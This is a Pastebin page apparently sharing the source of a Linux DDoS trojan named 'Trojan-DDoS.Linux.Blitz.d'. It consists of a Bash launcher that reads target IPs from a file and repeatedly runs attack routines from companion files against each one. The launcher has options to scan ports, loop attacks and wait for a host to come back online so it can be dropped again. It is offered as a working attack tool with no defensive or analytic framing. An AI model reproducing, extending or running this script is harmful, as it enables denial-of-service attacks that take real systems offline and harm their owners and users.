FlyFar

Trojan-DDoS.Linux.Blitz.d - Source Code

Jun 12th, 2023
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.56 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. if [ ! -f ./ips.txt ]; then
  3.     echo "Please create ./ips.txt with a list of IPs to attack before running."
  4.     exit 1
  5. fi
  6. if [ ! -f ./datapool.fc ]; then
  7.     echo "Dude, wtf were u thinking?? Don't delete datapool.fc dumbass!!!"
  8.     exit 1
  9. fi
  10. . ./datapool.fc
  11.  
  12. function usage2 {
  13.     echo "Usage: $0 [-i] [source ip] [-v] [logfile] [-p] [portlow-porthigh] "
  14.     echo "[-s] [-l] [T1|T3|OC3|Modem|Slowass] [-x] [-k] [-a] [-t] [# of attacks]"
  15.     echo "[-r] [attackname]"
  16.     echo "Options:"
  17.     echo "[-p]: Specifies port range to scan.  ex: -p 1-1024"
  18.     echo "[-x]: \"Don't stop till they drop\""
  19.     echo "[-v]: Logs results of scan to file.  ex: -v logfile.log"
  20.     echo "[-s]: Scan ports only."
  21.     echo "[-l]: Specifies line speed.  Choose from T1,T3, and Modem."
  22.     echo "[-i]: Specifies source IP.  ex: -i 127.0.0.1"
  23.     echo "[-k]: Wait till host is online, then attack."
  24.     echo "[-a]: Loop attack. (Used with -k and -x can keep a connection dropped.)"
  25.     echo "[-t]: Number of simultaneous attacks to launch. ex: -t 4"
  26.     echo "[-r]: Run this attack only. ex: -r onetwothreefour"
  27.     echo "      Note: attacknames can be found in datapool.fc"
  28.     exit 1
  29. }
  30. LOOPATK=0
  31. while getopts p:v:l:i:xask OPTION ; do
  32.     case "$OPTION" in
  33.     a) LOOPATK=1 ;;
  34.    \?) usage2 ;;
  35.    esac
  36. done
  37. clear
  38.  
  39. nfo
  40.  
  41. trap "rm -f ./output.txt ; rm -f ./output2.txt ; rm -rf ./svcname.txt ; ./cleaner.sh ; exit 1" 1 2 3 15
  42. if [ "$LOOPATK" = "0" ]; then
  43.     echo "Beginning attack..."
  44.     while read ATTACKIP
  45.     do
  46.     echo "Attacking $ATTACKIP..."
  47.     ./datapool.sh $@ -d $ATTACKIP 1>/dev/null 2>/dev/null
  48.     case $? in
  49.     0) echo "$ATTACKIP was dropped by $LASTATTACK" ;;
  50.     1) echo "There was an error running the script...exiting." ; exit 1 ;;
  51.     2) echo "$ATTACKIP was not avaliable." ;;
  52.     4) echo "The following ports are open on $ATTACKIP:" ; cat ./output.txt ;;
  53.     5) echo "$ATTACKIP was attacked, but is still alive..." ;;
  54.     esac
  55.     done < "./ips.txt"
  56.     echo "Attack completed."
  57. else
  58.     echo "Beginning attack..."
  59.     while true; do
  60.     while read ATTACKIP
  61.     do
  62.         echo "Attacking $ATTACKIP..."
  63.         ./datapool.sh $@ -d $ATTACKIP 1>/dev/null 2>/dev/null
  64.         case $? in
  65.         0) echo "$ATTACKIP was dropped by $LASTATTACK" ;;
  66.             1) echo "There was an error running the script...exiting." ; exit 1 ;;
  67.         2) echo "$ATTACKIP was not avaliable." ;;
  68.         4) echo "The following ports are open on $ATTACKIP:" ; cat ./output.txt ;;
  69.         5) echo "$ATTACKIP was attacked, but is still alive..." ;;
  70.         esac
  71.     done < "./ips.txt"
  72.     done
  73.     echo "Attack completed."
  74. fi
Add Comment
Please, Sign In to add comment